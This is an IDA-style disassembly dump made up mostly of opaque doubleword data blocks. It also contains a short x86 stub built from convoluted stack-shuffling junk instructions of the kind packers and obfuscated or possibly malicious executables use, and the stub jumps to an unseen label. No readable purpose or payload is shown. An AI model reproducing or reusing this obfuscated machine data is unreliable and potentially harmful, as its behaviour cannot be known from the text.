		dd 0FB14DB66h, 0A7DB80E8h, 0BCBD3425h, 0DCB4A635h, 8ED995A5h
		dd 94B9CDEEh, 40F69642h, 0AA3DBF9Fh, 11321567h,	24F1949Eh
		dd 0C571C66Ah, 4722BC8Dh, 90C93C3Dh, 0ED22BCA5h, 0E8D9943Dh
		dd 0CB71C66Ah, 1132156Eh, 6643369Ch, 2FDB5CF3h,	22321D8Fh
		dd 71170566h, 4604F672h, 0FB654427h, 1E37253Eh,	140249DFh
		dd 0D7CB245Ah, 4B6BDE4Fh, 22321CE6h, 90547566h,	3953BD89h
		dd 17627469h, 0A31611EDh, 113211A2h, 23CB4E66h,	44321A8Fh
		dd 0DBB8E166h, 43EF281Ah, 8092ED38h, 0CEA58701h, 771609EDh
		dd 0D4B3F0EFh, 88321562h, 0C336D0E5h, 2D6E314Ah, 11320DEEh
		dd 8821FC66h, 0A1531566h, 6650AD17h, 18D2DD0h, 0D2B3F67h
		dd 0ECB2E8A2h, 278A4563h, 90321566h, 5E3574A0h,	0C5F4144Ah
		dd 0F4357488h, 1DDB4D4Ah, 73321566h, 0EA9C34A6h, 6BEA13Bh
		dd 4034A942h, 0C56D27DFh, 1B01AD6Eh, 0EA1B1D2Bh, 921619EDh
		dd 4BCA11A2h, 44321A8Fh, 0AD835E66h, 8A577F62h,	0BF5AB673h
		dd 0C4AA7E01h, 220E610Eh, 353E9C66h, 0BECD739Fh, 60069400h
		dd 7A546629h, 538D7331h, 4FB3737Eh, 0C554730Ah,	44680881h
		dd 7730F2A7h, 0DC21E2E7h, 90DD9400h, 0DA0373AEh, 3E837539h
		dd 0E343AF00h, 4BF12907h, 223353E2h, 1135FC66h,	41EA1566h
		dd 0B73E141h, 0E90EE019h, 10039169h, 61CA1566h,	44321563h
		dd 0A8A622F9h, 1EF029FFh, 883378E2h, 443BFC66h,	51421566h
		dd 28A4BEC0h, 61A55248h, 4432156Ah, 13AAB74Ah, 0AF30918Bh
		dd 5657AA55h, 0C03DDF5Ah, 22321420h, 11339D69h,	0EEC71566h
		dd 4B17EA5Bh, 223399E2h, 0AB547566h, 658D60A3h,	252E0301h
		dd 0DD1C2800h, 114B9069h, 61521566h, 44321577h,	0C5F8FA0h
		dd 483C1115h, 92D58CDCh, 4ECCF743h, 43FCA27Ah, 1130AF34h
		dd 62B31566h, 214F72AAh, 0E0B3E767h, 744F72AAh,	0E86817ECh
		dd 0AAF99400h, 2222FDCEh, 0C4921566h, 23E95EB2h, 0D0C0C93h
		dd 46D7C7AAh, 0C7B905D1h, 0E0547438h, 0CD54247Bh, 0D281317Ah
		dd 4A54CD46h, 88339169h, 0B8CA1566h, 0A63DB55Ah, 11321433h
		dd 67B3759Ah, 3E216EC9h, 0DD534AD6h, 926B3152h,	86DB11A2h
		dd 0E5321566h, 61806351h, 3072885Ch, 0B6636A48h, 90C7D57h
		dd 0EBB1566h, 0A7AA842h, 0C08A2EA8h, 7509DB7Dh,	2D52488Eh
		dd 113200EEh, 8822FC66h, 0D7CB1566h, 0B3F38A6Ch, 0A1318277h
		dd 0E811CE65h, 0A7B30904h, 17EB864Eh, 10C4FC07h, 0B9CE1566h
		dd 56B41AAFh, 2D321566h, 113219E5h, 8835FC66h, 26BF1566h
		dd 49BE9CA1h, 0EE8D4229h, 0A1CDEA99h, 41DB4A9Fh, 0DB321566h
		dd 0A294DE5Ch, 8832E28Fh, 53B31A66h, 0CB321566h, 11321574h
		dd 0E1962B1Ch, 0B8752888h, 3C825DC4h, 92D1DAB1h, 0E060B7ABh
		dd 1D3804h, 0C8B3573Ch,	583C44E2h, 53EEAB30h, 0B61BEE46h
		dd 78E39C38h, 2DB759Fh,	0CF321566h, 389808D1h, 0ED805FA2h
		dd 8751D7F2h, 64B4A87h,	9BB2E54Ch, 0BFDB7473h, 0E8321566h
		dd 8832018Fh, 60B72C66h, 19F7A219h, 48B84136h, 6F47CDD8h
		dd 1E14EB80h, 6B8F4053h, 90183026h, 77CDEAA3h, 0FF9499h
		dd 0A3071D13h, 0D01EC18Bh, 7DC79407h, 0C576755Dh, 2E419E93h
		dd 4CDB9CFFh, 88321F8Fh, 0DABA0D66h, 0F34B2Bh, 0F884EFEAh
		dd 8832152Eh, 4432198Fh, 0D2CA9B66h, 6FD982EFh,	0FFD96BE5h
		dd 5F5A439Fh, 7C538C76h, 903AF3A7h, 9828EC88h, 0CFC39CFFh
		dd 0E6B33152h, 11321562h, 883EFC06h, 0EEDA1566h, 0DA26E2FFh
		dd 0B8638560h, 83DD5CCh, 44321565h, 43FCAA69h, 0F852B195h
		dd 88321560h, 0A62D3944h, 4452DBA6h, 0D330CBE7h, 0BD4322D9h
		dd 0BC53746Bh, 347F98EDh, 1ADB1344h, 4A321566h,	3CEF665Bh
		dd 34BD6681h, 0D8B72E41h, 88049069h, 0FD521566h, 5B2D528Eh
		dd 11379369h, 9541566h,	250AC58Eh, 347FA0EFh, 933D1344h
		dd 8832157Eh, 4432068Fh, 0AEB18166h, 2D5A37A3h,	0ADCA9C5Dh
		dd 8832FFFEh, 9E9F941Dh, 441619EDh, 4DB3F0EFh, 44321562h
		dd 0A536D0E5h, 1E6E314Ah, 88320BEDh, 8BB27566h,	2221FDBBh
		dd 0C5A91566h, 955FF607h, 0AEA0557Eh, 0A637454h, 2DAB740Ch
		dd 0DB534D9Ch, 1713A2DDh, 27D1D44Bh, 2372AA31h,	0CF7D6481h
		dd 3FCFF2E7h, 0A3751570h, 84A4F5A1h, 0D7C91433h, 0B869CDEFh
		dd 23B61AA5h, 0E8321566h, 0EE04EA00h, 0C71611EDh, 0A43D17A2h
		dd 11321571h, 88239669h, 48DB1566h, 81321566h, 0BBFFEEF4h
		dd 4419D7EAh, 78A2B752h, 45B61AA5h, 0E9321567h,	0D8F09D34h
		dd 0A7BAC1EEh, 0DACB4F3Eh
		dd 1136F9E7h, 8CBB1566h, 7043A542h, 7AF135E7h, 11349069h
		dd 0EE521566h, 25CEEFEDh, 52C9959Eh, 12FF9169h,	0B4CA1566h
		dd 6FB61A8Fh, 0DB321567h, 953DFE5Ah, 88321444h,	46B71A06h
		dd 0A8321566h, 0CEB373ACh, 0B45399DAh, 4FB61AA4h, 0CB321567h
		dd 1132156Dh, 192FA9D7h, 0D22F1EB3h, 1E16454Dh,	0E2B61AADh
		dd 0E8321566h, 4BFD9E06h, 4353E4D1h, 34CD2800h,	88D29169h
		dd 4B521566h, 4460EBD1h, 7069C4EDh, 87F8299Fh, 4432D8E2h
		dd 23BD1A66h, 0ED321566h, 0C3DF65Ah, 44321631h,	0C0F739Eh
		dd 6FB71A99h, 61321566h, 44321574h, 0CD482B8h, 7F3650h
		dd 0EC16D95Dh, 0C0EA6272h, 98607569h, 11321564h, 9A5BFFE7h
		dd 0B6331653h, 305BD7E7h, 13B81653h, 8835FC3Ch,	27D41566h
		dd 389F6ABCh, 406173B5h, 79B2E1D7h, 0D6C395F0h,	26BDAEEh
		dd 7169739Eh, 87E19E00h, 443217E3h, 4362A766h, 0D3B97306h
		dd 88321C8Fh, 1C353D66h, 909EF3A3h, 2D537A17h, 0B7B61AC6h
		dd 0AD321566h, 22321563h, 0A6421DE5h, 0BDC6ADAAh, 4727CA3h
		dd 3529754Bh, 0EEF29619h, 26288053h, 443FFC8Ch,	791F1566h
		dd 0A0794F12h, 0ED5811E9h, 0AD9100FDh, 22321533h, 1132108Fh
		dd 0E019DB66h, 0F1BB6CC9h, 2410032Bh, 3AF989Fh,	61343DDEh
		dd 44321569h, 4FA15F61h, 799049ABh, 0B50EFFDAh,	0BBF43D7Bh
		dd 4452ECB5h, 0C89FFFE7h, 0B08D4207h, 8553C72Fh, 0E5B31289h
		dd 7270719Fh, 57B55A29h, 0C5ED922Dh, 0DBC46CA1h, 4ECA9CFDh
		dd 0E0CBD69Fh, 443200F1h, 2D1611EFh, 11321EE5h,	8834FC66h
		dd 0F1831566h, 1BE3CB19h, 90226399h, 0FB2A3162h, 176A39E5h
		dd 0F33081DDh, 90E9E200h, 86592485h, 73F19428h,	0D54EEA32h
		dd 90E1E2B5h, 0FD87D4A5h, 1FEA3CC1h, 0FB79C9Fh,	0F8343754h
		dd 88321563h, 0F9F84E9Dh, 606EABBh, 15F6943Eh, 71321566h
		dd 588A4535h, 0AB321566h, 0CF334DA5h, 6588753Dh, 0F05E302Fh
		dd 9FBF74DEh, 17100377h, 8821FC9Eh, 30781566h, 75249CDh
		dd 73DD0996h, 0C4736687h, 5F34D05Eh, 0A352B8E8h, 401BC1B9h
		dd 0D7644371h, 50DB743Dh, 82321566h, 0EF5DCAAFh, 0FB7FB06Bh
		dd 9262B80Bh, 46659ECEh, 42C6953Fh, 2A5F3EDDh, 1FEA1426h
		dd 6165165h, 0B35F3E4Bh, 6199E026h, 4432156Eh, 1E77853Ch
		dd 0E2176080h, 9BA3A8EBh, 24521344h, 223FFC07h,	5A0E1566h
		dd 0EF128A85h, 0A068EA9Ch, 438D3DCAh, 10B51ACBh, 7D321566h
		dd 3F538763h, 6761602h,	0AA884742h, 94F6166h, 0DE3310ACh
		dd 20D8D42Ah, 7E24FFE7h, 97018EFh, 660BBA84h, 5AD89440h
		dd 38A9B3C9h, 3D4FB6h, 4432156Ah, 2232128Fh, 9CEB066h
		dd 0F23A286Fh, 0C5D09C34h, 223211A4h, 15D89466h, 0F321566h
		dd 0CD6E3172h, 0CA523162h, 1132156Fh, 8FEA05A6h, 0F0E4D16Eh
		dd 7851A769h, 11321C8Eh, 90566D66h, 0C5F61C87h,	9B54EEC6h
		dd 7069CB1Bh, 883BFD06h, 70341566h, 34398DCAh, 914DF16Dh
		dd 0E86B17B3h, 4432188Fh, 2F761A66h, 0DE3E42E5h, 3BD52DA8h
		dd 0FB3D7282h, 895374B9h, 11219069h, 86DB1566h,	0D321566h
		dd 0DDD7FA93h, 0FE97A239h, 0DCAA9A73h, 318F9814h, 0DA34377Bh
		dd 9A5475CBh, 8838FCA8h, 95E81566h, 0F246AC1Bh,	0DDE2AFC0h
		dd 0EEE31007h, 31275Dh,	9D653D42h, 230973B7h, 716DED4Fh
		dd 4435FCCDh, 11E51566h, 0CA08FC60h, 0AC069EBEh, 41D29C36h
		dd 22321562h, 9636D5E5h, 0E86E3162h, 44321C8Fh,	34DD8566h
		dd 0FA61DA21h, 6153AFCCh, 44321577h, 0DE509511h, 8A508CE9h
		dd 378185FEh, 76DA9A83h, 32DBD601h, 0C0321566h,	71AF28DAh
		dd 56F1DE0Bh, 7CDEB48Ah, 7921AC74h, 88320A2Ch, 4B1621EFh
		dd 22321AE4h, 1138FC66h, 4A681566h, 4CEC919Fh, 4AF3F123h
		dd 0A60688EBh, 0A3D134Eh, 44321567h, 0CBE1EA9Eh, 11321563h
		dd 0CB20ED76h, 0B8C5FC3Ch, 0A03DEA99h, 11321574h, 8832188Fh
		dd 71BC5F66h, 0AB5B8C32h, 6FA34248h, 0CEDF4090h, 0A86CD24Eh
		dd 458AFD4Ah, 0D5F251A2h, 6CEDAFC0h, 0A8ED96A4h, 458A152Ah
		dd 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah,	162C5E89h
		dd 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah
		dd 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah,	54A851D6h
		dd 0BA8660D5h, 0CE2559D7h, 43A377C5h, 9232DCF1h, 0BA8C3C49h
		dd 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h, 7DCAAE38h
		dd 0DF07462Ch, 52813264h, 3C6D5h, 5492B85Eh, 3075152Ah
		dd 5CDDAEAEh, 26818FA7h, 0D9FB578Bh, 6CE9D3B0h,	0DD7BAEA4h
		dd 5863E96Fh, 0ABA851A2h, 3075195Fh, 4332DCAAh,	168C3C49h
		dd 376ECB2Fh, 96751303h, 0BD54142Bh, 458A152Ah,	0A8EDDAC3h
		dd 4582D7E3h, 3044BAh, 2AE900h,	4C70000h, 24h, 0E800h
		dd 815D0000h, 296896EDh, 24448B06h, 15858904h, 0B8062208h
		dd 0
		dd 50B18D8Dh, 0E1FF0622h, 6754B8h, 6E800h, 5B260000h, 0D1F9E977h
		dd 59DA8B66h, 10E952h, 2B40000h, 0EB4A0F0Eh, 990A3D43h
		dd 9450FB97h, 815B69EDh, 5B46C1h, 0BED38B00h, 16A7h, 0D1E88166h
		dd 0F31FFC0h, 680h, 68E88100h, 5F33114Fh, 8E952h, 0A16E0000h
		dd 91F6961Eh, 815A9DF8h, 722FECEFh, 0D0BF0F6Bh,	0A0DDF781h
		dd 0BA66544Ah, 0F781F189h, 5DCDBB0Bh, 4CD7B866h, 4850F57h
		dd 66000000h, 8F95A1BAh, 10E901h, 0E0230000h, 0FE8D1635h
		dd 37B9FE83h, 0E2AD377Eh, 0E98145F6h, 61E161FDh, 0B90EE081h
		dd 0C1812268h, 61E161F9h, 0F4EF08Ah, 0FFFF8885h, 0D38B66FFh
		dd 97E9h, 30B0000h, 231B138Bh, 8300332Bh, 0A4F305E9h, 5867CB8Bh
		dd 0B13256E7h, 0E4CB97Dh, 6293EBBCh, 0BC704F7h,	58DEDD23h
		dd 0B1325645h, 4C49BE35h, 24170928h, 48353934h,	17A916A2h
		dd 0B1DA58F9h, 0EB32565Dh, 0E983BC2Fh, 0B0A4F305h, 0F29D11F1h
		dd 2375FD7Ah, 0D77D17FBh, 0D525FB53h, 0ADFDF53Fh, 915C9489h
		dd 0CFB73422h, 0B723AC7Ah, 1A20AD29h, 7975FD7Ah, 95987C27h
		dd 0A073D411h, 831C87FFh, 0A4F305E9h, 0BD8DDB8Bh, 629A5BFh
		dd 2D6A8D8Dh, 44B8062Ah, 2B321566h, 2E9C1CFh, 0C8D00731h
		dd 4904C783h, 800FF675h, 1, 8E9FCh, 0A98D0000h,	63366E1Eh
		dd 6F686A6Ah, 89000034h, 0E9582404h, 0Eh, 187F1FDFh, 0A6513732h
		dd 0E1D25029h, 0BD8320C3h, 62208DDh, 83097500h,	220A21BDh
		dd 19740006h, 0C08B5350h, 411B8h, 59858900h, 8D06220Eh
		dd 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h
		dd 411B8h, 59858900h, 8D06220Eh, 24BCD19Dh, 5BD3FF06h
		dd 5E958h, 6A2B0000h, 0F9AA8282h, 89C78957h, 243C8BF8h
		dd 4C481h, 6E90000h, 0B8000000h, 8D51ECA2h, 7E8F87Fh, 63000000h
		dd 6218CF86h, 666074E4h, 615E22BAh, 4860F5Ah, 66000000h
		dd 8106D7BEh, 73CAC2h, 8BC03300h, 0DE81020Ch, 15BC55C2h
		dd 2C5BC181h, 7E908C3h,	8A000000h, 0E6BC8467h, 0C181F6F5h
		dd 4460117Bh, 0EE9h, 3707400h, 7FF4951Bh, 0F141CC7h, 81CD9470h
		dd 9C6CA6C1h, 850F5176h, 17h, 12E9h, 62973A00h,	238C3B9h
		dd 3F00736Ah, 20D5A45Ah, 5FC7ABBDh, 0E9020C89h,	11h, 4BCB5538h
		dd 489C3A60h, 13F98B7Ah, 0DD7DCDF4h, 83FE8B12h,	484801E8h
		dd 0CE948h, 26330000h, 68A5A625h, 32B04C59h, 0F881B99Fh
		dd 0FFFF8CF4h, 0FF69850Fh, 6E9FFFFh, 0D9000000h, 416E03D5h
		dd 22E901h, 43A00000h, 54A6h, 7	dup(0)
		dd 46FE9h, 327D6800h, 74E9062Ah, 68FFF851h, 62A3313h, 0F8516AE9h
		dd 343B68FFh, 60E9062Ah, 0F4FFF851h, 6A57BE89h,	0C6CB2221h
		dd 3E638AB9h, 0A899F04Bh, 380E59E6h, 0B08FFF38h, 25226859h
		dd 88B3C5CAh, 0F34C3061h, 94085198h, 41100A44h,	773DE5A9h
		dd 0C6EB3807h, 15628DB6h, 39F37218h, 473A3B11h,	2A76A904h
		dd 8BEC3320h, 192669A6h, 0D16BA9F4h, 4918378Eh,	0C62B4C6Fh
		dd 183F0256h, 98C4F741h, 3F6FBF4Dh, 0E8914118h,	0D8047990h
		dd 101D4BD1h, 8382DE69h, 2B0h, 88FCD38Bh, 0E7394DBh, 3B277329h
		dd 0EDCA473Ah, 3073A09Bh, 0FE19A3F1h, 2F491828h, 1A4BF882h
		dd 5BE896DBh, 0CAA8EB0Ah, 0FEE64F58h, 8FD48F95h, 0B1C9B26Ah
		dd 15EE4A9Fh, 0C29BFD45h, 0CF7AA6CAh, 755ABFECh, 93E893A7h
		dd 0E937864Eh, 4AAFF4EFh, 0B1E571D2h, 2B515E40h, 61A0C310h
		dd 5D622308h, 0F2521591h, 3347D532h, 0E648F6C6h, 1C6089D7h
		dd 0B5C7C823h, 5AFDFC8Ah, 5F68EC0Bh, 2A6C0h, 0B8830A00h
		dd 2C1B6051h, 94B3DCC5h, 0FA45347Dh, 63E0AE93h,	0F53E3E08h
		dd 6E53BA89h, 0DBC42F1Ch, 367B92ADh, 6B92FD46h,	94A9E0Eh
		dd 0EBAF4110h, 0A27A5F3Bh, 473A3B96h, 0EAEC307Bh, 6CDBA4F9h
		dd 5CBDFC3Fh, 0F54E3A77h, 2273CCBCh, 0BD0BDD03h, 8C49202Ah
		dd 1D4EF98Fh, 249782DEh, 7BC8B6C3h, 0E05F2F10h,	0BECAA287h
		dd 0A341100Ah, 0FD386DD6h, 122B6944h, 595DCF42h, 830B0897h
		dd 5784BFCAh, 6580D514h, 0B8E4632Ch, 46300B71h,	0F5AE279Dh
		dd 10906FB8h, 64000002h, 0DAC72E19h, 367B92B1h,	0AE93FA49h
		dd 180960DBh, 48BEC976h, 201F6FA8h, 95B2D8C9h, 0F843357Ah
		dd 63DCA091h, 0E4B8C108h, 411008D4h, 588D9539h,	690364ABh
		dd 49202A03h, 0FF0BE1F6h, 1241100Ah, 790B589Bh,	41100A55h
		dd 87CA2EABh, 4BC9A6CAh, 143EFh, 5773700h, 0AED0DD3Ah
		dd 0AF9B4C91h, 8984316Dh, 92ABE928h, 0FD142F5Dh, 7E9BE89Bh
		dd 185141AEh, 36675649h, 18205666h, 0C721A841h,	7404845h
		dd 0BD007DD9h, 39D54BD1h, 7D000000h, 364AB58h, 18416669h
		dd 0ED2A0F49h, 3570A5A2h, 18315763h, 0ADF3BA41h, 0EF143974h
		dd 31C6128Ah, 802B4118h, 317A8A5Ch, 0DD844118h,	0D1F9749Bh
		dd 99DC4BD1h, 4A000000h, 0E93A0577h, 6C8DBAC4h,	3B459507h
		dd 5A8473Ah, 1B618EDFh,	0CEBEF320h, 0A88A1A75h,	0B1473A37h
		dd 0E7A2F3D0h, 0B2EEBAA2h, 0D33A0577h, 0ACCD12C1h, 0F22E196Fh
		dd 0EBF30D9Fh, 614E491Eh, 0BEFD2E1Dh, 711D1A7Fh, 1F28568h
		dd 0D31CC110h, 335A9DA6h, 37C3800Eh, 0F5B28D22h, 0E813EE3Fh
		dd 4C000000h, 0A2EF0641h, 1E036AD9h, 76BBD271h,	0E0D13803h
		dd 6046A19Eh, 0F8473780h, 6DDAA091h, 0D06B1D02h, 3B0488B9h
		dd 0DC5029D0h, 41100F8Ch, 7775AD61h, 0E0D13807h, 0D248A39Ch
		dd 0E93A0577h, 648FB8C4h, 0F7105F14h, 1960AD92h, 3B2A7E2Eh
		dd 0ECCF473Ah, 0B7516B0h, 0D3DA4918h, 361579B6h, 6A394DDFh
		dd 58244118h, 0F39B84EFh, 78380754h, 0EA000000h, 112A525Fh
		dd 95DA89C3h, 2AA6B874h, 0F0BB4920h, 45FE8EA3h,	0AC97E52Ah
		dd 0D472AD7Fh, 0D910F2EFh, 0F6F7859Fh, 542DF66Dh, 0A6C1000Fh
		dd 0FB281379h, 2B78C3B6h, 0B9C57806h, 0DB1A598Ah, 2916658Ah
		dd 2147AAE4h, 3ABE230Dh, 5EA992FAh, 0F7102B51h,	0A2CE1A92h
		dd 86231F8Ch, 0DD184DF6h, 0D827469Ah, 13h, 8EDA52B7h, 631F8CA2h
		dd 0D4173446h, 0E52ED9Bh, 7773CB76h, 0C3E83D06h, 105D8EB9h
		dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h
		dd 0F03D6EDDh, 696FBC8Bh, 81595451h, 4C1h, 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	3493h
		mov	[esp], esi
		push	62A3183h
		mov	ecx, [esp]
		add	esp, 4
		push	18D9h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	4D9Ch
		mov	[esp], edx
		mov	edx, 8
		add	edx, esi
		mov	[edx], ecx
		pop	edx
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		dd 0FD4B66F8h, 34F6D38Dh, 5B9C1B5Ch, 2A3548B8h,	0FFC50306h
		dd 2500A7E0h, 0AC529C42h, 77AA2742h, 48DF914Ah,	72D39F43h
		dd 0DC78CE74h, 65AB4810h, 315D4C6Fh, 4C6CF150h,	25BFD302h
		dd 3DA87A20h, 8983E45Fh, 0B5A9CC66h, 0C5021F73h, 0CF744238h
		dd 0B241FE7Dh, 7F196A09h, 0E1506718h, 4BAAA444h, 19258020h
		dd 26B0092Ah, 8F01B572h, 0D0FFC75Eh, 0ABBC926Ah, 0CA983757h
		dd 43CFB125h, 676FC309h, 0EDE952h, 66600000h, 4A8D88Ch
		dd 0DF840Fh, 0B58B0000h, 6220B09h, 0F00FE83h, 2285h, 985C600h
		dd 45062233h, 72696968h, 0A9B5FF8Eh, 8D062233h,	257DBE85h
		dd 89D0FF06h, 2201A985h, 80F08B06h, 850FE93Eh, 31h, 8C7B858Dh
		dd 0D0FF0627h, 32C1BD8Bh, 0C7810622h, 1184h, 0B09B58Bh
		dd 0F7870622h, 8B9h, 8BA4F300h,	220B09B5h, 6B858D06h, 0FF06263Ch
		dd 89B58BD0h, 83062231h, 850F00FEh, 22h, 330985C6h, 68540622h
		dd 0FF4EBEF4h, 33A9B5FFh, 858D0622h, 6257DBEh, 8589D0FFh
		dd 6223189h, 3E80F08Bh,	3A850FE9h, 8B000000h, 223189B5h
		dd 7B858D06h, 0FF06278Ch, 0C1BD8BD0h, 81062232h, 1184C7h
		dd 8C78300h, 3189B58Bh,	0F7870622h, 8B9h, 8BA4F300h, 223189B5h
		dd 6B858D06h, 0FF06263Ch, 8DC361D0h, 2A364E85h,	0F9858906h
		dd 0E8062205h, 0Dh, 6F82B9C3h, 3DD11A7Bh, 0B78D9900h, 0DE9C3h
		dd 93A90000h, 0AE1D93FAh, 30ABFD2h, 5E95F9B5h, 0F0816650h
		dd 815F0F59h, 653BC6h, 0D54AB900h, 1CBA4267h, 810F9C04h
		dd 9C1D3CF2h, 1E8BF90Fh, 0FE9h,	799C0100h, 0C0999D9Dh
		dd 8BF7161Fh, 91FE2BC4h, 0AF37C381h, 0E78167D1h, 599AC675h
		dd 0B4CAF381h, 0B70F0503h, 0F1C381CEh, 0F2FC0A6h, 1E89C6BFh
		dd 9B28B866h, 0BCA0EE81h, 8D0F7826h, 6,	7751C081h, 0C68164C3h
		dd 7826BC9Ch, 1D8D0Fh, 820F0000h, 17h, 12E9h, 0ECDA1E00h
		dd 0F9A27FA9h, 8B3862A4h, 0D43EAA47h, 834AAB5Ah, 850F01EAh
		dd 0FFFFFF82h, 8DC6BF0Fh, 2A38B68Dh, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0C1B9D08Dh
		dd 518523EBh, 89062231h, 2233F18Dh, 85C7FC06h, 6222D31h
		dd 5998h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	0A1C35343h, 0D892AEDDh,	0C2816699h, 85C731A0h
		dd 62230E5h, 0
		dd 89B5FFFCh, 6A062206h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 811EC356h, 302BAECAh
		dd 6595FF72h, 60062220h, 0AB96B966h, 6A6188B5h,	7595FF00h
		dd 8B062230h, 5C19EBC0h, 9B47220Ah, 8C85110Fh, 0EA0CEA7h
		dd 2B5612FDh, 0D0B60C90h, 2EA02E48h, 8E9h, 93B54700h, 1Dh
		dd 560E900h, 0EC910000h, 84F73853h, 1C63ACC7h, 0AEDBC42Fh
		dd 49357A95h, 0D59793FAh, 3A55F29Ch, 0AFC685F5h, 0C22D1662h
		dd 7D94AFDDh, 0E337E5F2h, 16411003h, 577A040h, 0BAC4E93Ah
		dd 4F3D628Dh, 77B695FAh, 0B8830926h, 112A525Fh,	675BAC3h
		dd 0B2C71439h, 63174489h, 28C1B7E4h, 43AE5AD0h,	0C27D0F25h
		dd 242368A5h, 6768B4F7h, 9AF54E3Ah, 345B58BDh, 3B354517h
		dd 0F3D8473Ah, 3A3B1139h, 76A90447h, 0CE790F2Ah, 1D2A509Dh
		dd 5B9D44C8h, 7D94AFD9h, 0AEFF4834h, 201F6CA9h,	3B192AFCh
		dd 40B1473Ah, 0DB6CE128h, 888551F3h, 0D9164700h, 264596B5h
		dd 8994B9E7h, 82000000h, 44340577h, 488BAAFBh, 3B23491Bh
		dd 6091473Ah, 0DB8CC108h, 12951F3h, 0F1000000h,	96A27A5Fh
		dd 7B473A3Bh, 0B6C5EC30h, 55237089h, 267AB9EAh,	0A2A1EA07h
		dd 74071471h, 396786D7h, 59BE89F0h, 3B90B874h, 8C85473Ah
		dd 3B65F1Ah, 326EA1E8h,	98B5C6EBh, 0C71457F0h, 3065DEAAh
		dd 4665844Fh, 3D53ABD1h, 8A7EB434h, 0DE03096Fh,	3A8F3A4Eh
		dd 0EF5C2F47h, 6E3E5B52h, 473A8F5Ah, 99A0FCBFh,	0F53A55F2h
		dd 0F955BC87h, 0E29E65Fh, 5481E8D1h, 0B1517933h, 0E9C4473Ah
		dd 43008EABh, 91AEDD12h, 0CC2C254Ch, 0FE493340h, 17528EADh
		dd 80B1D867h, 0F51243FCh, 0B1CC1C90h, 8A21473Ah, 0E7642B56h
		dd 99DF9AB6h, 0F3500B76h, 9BCE51h, 5F540000h, 0CC112A52h
		dd 483673A1h, 0FA85AAFBh, 8168184Dh, 82C1CD67h,	0EB58266Bh
		dd 810475BAh, 0DF449EEEh, 662859BBh, 3875A6D9h,	76BBE857h
		dd 24E83D06h, 59F73BBDh, 0F7543B78h, 450289A6h,	4E92D510h
		dd 1F4285E3h, 0BA51F394h, 80h, 1E077760h, 3A3B7A8Eh, 0DD1C9F47h
		dd 2A156388h, 0C2C7B4F9h, 2BB07D80h, 4192D586h,	0B7E4632Ch
		dd 9B38B3CEh, 0BFEFBC0Bh, 0A2F036B2h, 7685DEA7h, 0C51723F9h
		dd 0B3FA473Ah, 0E5F8CCAh, 131157D2h, 0CABBDC6Bh, 0A7DFEAE7h
		dd 0BAA5FB3Bh, 6E65FE0h, 3D4DF6D0h, 7B002977h, 897A9FCCh
		dd 16638571h, 9D66502Dh, 0A1F294C8h, 9473A1Ch, 144980F8h
		dd 0A151F3B5h, 8, 89B2C7D4h, 2BFB1944h,	43350877h, 4794B9F8h
		dd 0EF760435h, 3A3BED3Dh, 6AAD0047h, 6ABBFA39h,	53B93FA2h
		dd 3B6ABE6Eh, 2C8F473Ah, 79C6C9F0h, 0E550E6Eh, 48A033E9h
		dd 98954918h, 100957F0h, 260B489Dh, 18282276h, 2F869341h
		dd 0A74E29C8h, 5367359Ah, 0C64118EDh, 4168B4F7h, 7A7B0E3Bh
		dd 0F7311871h, 3764A7C2h, 4754B5F4h, 98DB0837h,	66161B44h
		dd 0C557BCDDh, 411876B5h, 76DCEC80h, 7A314118h,	93AAF6C5h
		dd 1876BBC1h, 3ABEB341h, 5EA992FAh, 0C3102B51h,	3065DEAEh
		dd 240078F1h, 23E75558h, 0BCC498F5h, 8DC0127Dh,	284BD18Fh
		dd 13Bh, 64AB58F6h, 2AAA6903h, 109B4918h, 6BDEAEC3h, 86E1201Fh
		dd 2F48F399h, 90652CAh,	0CEEB4118h, 124E81BAh, 6DD6A6CBh
		dd 2575270Ch, 0C8411809h, 4B6EBFE5h, 28AAACEh, 0CCC92E39h
		dd 0FD5987C0h, 4BD1A980h, 6C55h, 87874000h, 4CF7858Bh
		dd 8E27DC1Fh, 760E52AFh, 96A27A5Fh, 7B473A3Bh, 3B728616h
		dd 14A7473Ah, 0D0F8B4D5h, 45473A3Bh, 30202A76h,	583790E9h
		dd 5F2642DAh, 0B36968B4h, 11738587h, 4212436Ah,	0C73AD336h
		dd 0B6E7642Bh, 0E1321179h, 60662EFh, 3AD34296h,	0C504B7C7h
		dd 0C146A2AFh, 0FDAFC80Fh, 9173844Dh, 0EF628D20h, 87h
		dd 0A27A5F57h, 473A3B96h, 7286167Bh, 0A7473A3Bh, 4D8FD514h
		dd 0CB304996h, 3A3B0951h, 93C1EC47h, 3D1DAE7Eh,	0BBF24918h
		dd 0C37456Ah, 77D0BCE5h, 34BB9626h, 0EC414118h,	5BE4A88Ch
		dd 0EC332030h, 40FD8E8Bh, 99CA0D3Ah, 0EED3065Ah, 3C61DEA1h
		dd 2E19A3F1h, 0FF4F0223h, 3A426FBCh, 8978DC01h,	9AE99A6Fh
		dd 7484187Dh, 994B7672h, 118BCE12h, 456C7A16h, 9BA8D2DFh
		dd 4B9F0D4Ah, 0AE554CB9h, 9990CC0Fh, 5823FB12h,	0F60364ABh
		dd 4A69BA89h, 0DE29C316h, 0CF492033h, 0A72BFECh, 0A3E9D631h
		dd 1DB94B98h, 0F02B9BF9h, 406DBE89h, 99D80D3Ah,	26D25890h
